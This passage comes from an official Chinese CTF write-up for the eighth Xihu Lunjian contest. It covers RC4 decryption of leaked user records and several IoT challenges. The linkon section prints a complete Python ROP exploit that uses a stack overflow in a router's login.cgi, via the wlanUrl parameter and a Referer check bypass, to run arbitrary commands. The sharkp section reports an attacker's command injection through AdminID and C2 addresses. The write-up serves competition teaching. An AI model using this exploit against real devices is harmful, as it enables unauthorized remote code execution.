derived_aes_key = hashlib.sha256(hackkey.encode()).digest()
if aes_key != derived_aes_key:
raise ValueError("Decryption failed: AES key mismatch")
cipher_aes = AES.new(aes_key, AES.MODE_EAX, nonce=nonce)
data = cipher_aes.decrypt_and_verify(ciphertext, tag)
with open('data.csv', 'wb') as f:
f.write(data)
```
运行得到 data.csv 文件
很明显,该文件确实恢复出来了,但是其中“个性签名(加密版)”经过了某种加密运算。
```
编号,用户名,密码,姓名,性别,出生日期,个性签名(加密版)
1,sWEbvrLvgyFO9u8,vHBhvVXS2JvLnTTo,胜屠翰池,男,19761023,korvy4fjEBP6AKeDValKDfzBRK9sKDSIHVakq3NXMMU3
2,wangguizhi,3E8vleDJFC,桓玉珂,女,20050814,NF+z3NevQqWILNqNvUznlOFie3KLuhIztQNLFnRy
3,kofxlSO1C3XEXP3QPH1lEg5WQ,4U86p3uzw7xV,崎邱炜,男,20000710,yutW+1ipTbce3pcz+BEIBS48fX7NF5hh8bWEdigYsHca3vo/dQ0Nl+YFmpl5UD4Onga0hGehitNvMrG4XNFdH+lHEg==
```
经尝试,发现是使用其对应的密码对该密文进行 RC4 解密,例如对第一条数据用其密码作为 rc4 密钥对密文进行解密,可以成功解出来
那么写个批量脚本进行 rc4 解密即可
```python
import pandas as pd
from Crypto.Cipher import ARC4
import base64
def decrypt_rc4(ciphertext, key):
cipher = ARC4.new(key.encode())
decrypted_data = cipher.decrypt(base64.b64decode(ciphertext))
return decrypted_data.decode('utf-8')
df = pd.read_csv('data.csv')
df['个性签名(解密版)'] = df.apply(lambda row: decrypt_rc4(row['个性签名(加密版)'], row['密码']), axis=1)
df.to_csv('data_decode.csv', index=False)
```
搜索得到其中序号为 1329 的个性签名解密后存在 flag
所以 flag 是 DASCTF{fc450e2a9062a39049d501cb5ce287d0}。
IOT
IOT
blink
-
解题步骤
使用IDA分析esp32固件,发现存在莫斯电码字符串
分析函数可以得到此时会根据led灯的亮灭来和时长来决定是。- 还是空格,分析可以得到亮后大概延迟200ms然后灭代表的是. ,亮后大概延迟600ms然后灭代表的是-,1400ms的延迟是空格。
最后解出flag: DASCTF{rtosandmorseisveryeasyhahhaha}
IOT
easy-uboot
-
解题步骤
启动命令是
```
qemu-system-x86_64 -cpu qemu64-v1 -bios u-boot.rom -drive file=./uboot.disk,format=raw,if=ide -nographic
```
uboot密码是doudoudedi
通过命令将磁盘读取到内存中,然后读取内存中的flag
```
load ide 0:2 0x0000000 flag
md 0
```
IOT
linkon
-
解题步骤
题目附件给出了一整个虚拟机镜像
使用boot.sh脚本启动,输入用户密码root/root
因为向外暴露了80端口,查看当前运行的进程是lighttpd
浏览器访问
审计/root/cpio-root/etc_ro/lighttpd/www/cgi-bin/目录下对应的cgi程序。
其中前台组件login.cgi的Goto_chidx函数存在堆栈溢出漏洞,由于该漏洞是在登录Web管理页面时触发的,因此可能导致未经授权的远程代码执行。
它从POST请求中接受Goto_chidx和wlanUrl参数。
然后wlanUrl参数被sprintf函数直接复制到堆栈上的变量中,导致堆栈溢出。
有两个注意点:
一是main函数中存在check_csrf_referer函数,防止跨站请求伪造(CSRF)。
仔细看check_csrf_referer函数代码:
```c
int check_csrf_referer()
{
const char *v0; // $s5
const char *v1; // $s7
int v2; // $v0
const char *v3; // $s2
const char *v4; // $s6
char *v5; // $s1
char *v6; // $s4
const char *v7; // $fp
int result; // $v0
FILE *v9; // $s0
FILE *v10; // $s0
bool v11; // dc
v0 = (const char *)nvram_bufget(0, "SYS_DOMAIN1");
v1 = (const char *)nvram_bufget(0, "SYS_DOMAIN2");
v3 = (const char *)nvram_bufget(0, "lan_ipaddr");
v2 = get_wanif_name();
v4 = (const char *)get_ipaddr(v2);
v5 = getenv("HTTP_REFERER");
v6 = getenv("HTTP_HOST");
v7 = (const char *)nvram_bufget(0, "MeshMode");
if ( !access("/tmp/web_log", 0) )
{
v10 = fopen("/dev/console", "w+");
if ( v10 )
{
fprintf(v10, "%s:%s:%d:http_host-- %snn", "utils.c", "check_csrf_referer", 2101, v6);
fclose(v10);
}
}
if ( !access("/tmp/web_log", 0) )
{
v9 = fopen("/dev/console", "w+");
if ( v9 )
{
fprintf(
v9,
"%s:%s:%d:http_refer-- %s ipv4_lan== %s ipv4_wan== %s domain1== %s domain2== %snn",
"utils.c",
"check_csrf_referer",
2102,
v5,
v3,
v4,
v0,
v1);
fclose(v9);
}
}
if ( !v5 )
return -1;
if ( strstr(v5, v3) )
return 0;
v11 = strstr(v5, v0) != 0;
result = 0;
if ( !v11 )
{
v11 = strstr(v5, v1) != 0;
result = 0;
if ( !v11 )
{
v11 = strstr(v5, v4) != 0;
result = 0;
if ( !v11 )
{
v11 = strcmp(v7, "2") != 0;
result = -1;
if ( !v11 )
{
v11 = strstr(v6, v3) != 0;
result = 0;
if ( !v11 )
{
v11 = strstr(v6, v0) != 0;
result = 0;
if ( !v11 )
{
v11 = strstr(v6, v1) != 0;
result = 0;
if ( !v11 )
{
if ( strstr(v6, v4) )
return 0;
return -1;
}
}
}
}
}
}
}
return result;
}
```
由于模拟出的环境没有nvram,要使check_csrf_referer()返回0,需要满足HTTP_REFERER不为空即可。
还需注意的点是,CGI在获取POST请求包数据部分的长度后有检验它的值是否大于499。所以我们发送的post请求包数据长度不能超过499.
由于给的是虚拟机且没开aslr,本地的libc地址和远程是一致的。
最终利用EXP:
```python
import requests
from pwn import *
import sys
#context.log_level="debug"
libwebutil_base=0x77e1e000
if len(sys.argv)!=3:
print("Usage: python %s ip "command""%sys.argv[0])
exit(0)
ip= sys.argv[1]
cmd= sys.argv[2]
'''
.text:00007970 28 00 BC 8F lw $gp, 0x28($sp)
.text:00007974 00 00 00 00 nop
.text:00007978 C8 80 99 8F la $t9, do_system
.text:0000797C 00 00 00 00 nop
.text:00007980 09 F8 20 03 jalr $t9 ; do_system
.text:00007984 move $a0, $s0
'''
fmt=libwebutil_base+0x578b8 #"%s"
#fmt=libwebutil_base+0x578d0
rop=libwebutil_base+0x7970
gp=libwebutil_base+0x5d550 #fix $gp
cmd=b"a;"+cmd.encode()+b";x00"
#payload=b"page=Goto_chidx&wlanUrl="
#payload+=b"a"*(140-12)
payload=b"a"*(128)
#payload+=b"aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaab"
payload+=p32(fmt)+b"b"*8
payload+=p32(rop)+b"c"*40+p32(gp)+cmd
Head = {'Referer': 'wifi.wavlink.com'}
url = "http://%s/cgi-bin/login.cgi"%ip
Data = {"page":"Goto_chidx","wlanUrl":payload}
response = requests.post(url,headers=Head,data=Data)
print(response.text)
print(response)
#python exp.py 127.0.0.1 'echo `cat /flag` >> /etc_ro/lighttpd/www/login.shtml'
```
执行
```python exp.py 127.0.0.1 'echo `cat /flag` >> /etc_ro/lighttpd/www/login.shtml'```
即可将根目录的/flag写到前台面板,访问即可获得flag。
IOT
sharkp
-
解题步骤
题目附件给出固件包、流量包和以下提示:
```
小李的摄像头被黑客入侵了,但只捕获到了单向的流量包,请分析摄像头固件与对应的流量,回答以下问题:
攻击者利用摄像头哪个接口实现的RCE?
攻击者回连的C2服务器ip地址是什么?
flag格式:flag{接口名称_ip地址} 例:flag{qweasd_127.0.0.1}
```
分析固件包
对alphapd程序进行逆向分析,定位到漏洞函数sub_42754C。
!(https://c.img.dasctf.com/LightPicture/2024/12/51cadbdad19ea34c.jpg)
它在获取AdminID的值后拼接到sed命令里面执行。这里就存在命令注入漏洞。对这个函数进行交叉引用。发现其触发的路径路由为setSystemAdmin。
找到对应的流量包
发现它通过在AdminID字段注入telnetd命令开启了摄像头的telnet服务。
分析telnet流量,发现攻击者执行了以下命令:
攻击者从2.65.87.200:8000下载了b程序到本地执行。
过滤8000端口
发现返回包是一个ELF程序
将这个ELF提取出来,拖入IDA分析。
找系统调用,分析汇编代码,转换十六进制,得到ip地址为115.195.88.161
得到最终flag:setSystemAdmin_115.195.88.161
往期精选
八载磨剑西湖畔,网安群英问鼎时——第八届西湖论剑大赛今日正式启动报名
2024-12-20
热血青春,仗剑天涯!第八届西湖论剑网络安全技能大赛报名火热进行中!
2025-01-06
2025-01-12
原文始发于微信公众号(恒星EDU):第八届西湖论剑·中国杭州网络安全技能大赛初赛官方Write Up(上)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论